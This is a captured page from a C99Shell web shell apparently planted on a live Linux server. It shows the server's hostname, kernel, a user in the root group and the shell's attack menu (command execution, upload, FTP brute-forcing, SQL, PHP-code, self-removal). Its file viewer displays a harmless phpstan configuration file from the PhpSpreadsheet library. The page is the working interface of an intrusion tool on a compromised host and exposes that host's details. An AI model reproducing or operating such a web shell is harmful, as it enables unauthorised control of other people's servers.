!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/phpoffice/phpspreadsheet/   drwxr-xr-x
Free 28.51 GB of 117.98 GB (24.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     phpstan-conditional.php (2.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$config 
= [];

if (
PHP_VERSION_ID 80000) {
    
// GdImage not available before PHP8
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '~^Method .* has invalid return type GdImage\.$~',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Shared/Drawing.php',
        
'count' => 1,
    ];
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '~^Property .* has unknown class GdImage as its type\.$~',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Worksheet/MemoryDrawing.php',
        
'count' => 1,
    ];
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '~^Method .* has invalid return type GdImage\.$~',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Worksheet/MemoryDrawing.php',
        
'count' => 1,
    ];
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '~^Parameter .* of method .* has invalid type GdImage\.$~',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Worksheet/MemoryDrawing.php',
        
'count' => 1,
    ];
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '~^Class GdImage not found\.$~',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Writer/Xls/Worksheet.php',
        
'count' => 1,
    ];
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '~^Parameter .* of method .* has invalid type GdImage\.$~',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Writer/Xls/Worksheet.php',
        
'count' => 1,
    ];
    
// Erroneous analysis by Phpstan before PHP8 - 3rd parameter is nullable
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '#^Parameter \\#3 \\$namespace of method XMLWriter\\:\\:startElementNs\\(\\) expects string, null given\\.$#',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Writer/Xlsx/Worksheet.php',
        
'count' => 8,
    ];
    
// Erroneous analysis by Phpstan before PHP8 - mb_strlen does not return false
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '#^Method PhpOffice\\\\PhpSpreadsheet\\\\Shared\\\\StringHelper\\:\\:countCharacters\\(\\) should return int but returns int(<0, max>)?\\|false\\.$#',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Shared/StringHelper.php',
        
'count' => 1,
    ];
} else {
    
// Flagged in Php8+ - unsure how to correct code
    
$config['parameters']['ignoreErrors'][] = [
        
'message' => '#^Binary operation "/" between float and array[|]float[|]int[|]string results in an error.#',
        
'path' => __DIR__ '/src/PhpSpreadsheet/Calculation/MathTrig/Combinations.php',
        
'count' => 2,
    ];
}

return 
$config;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--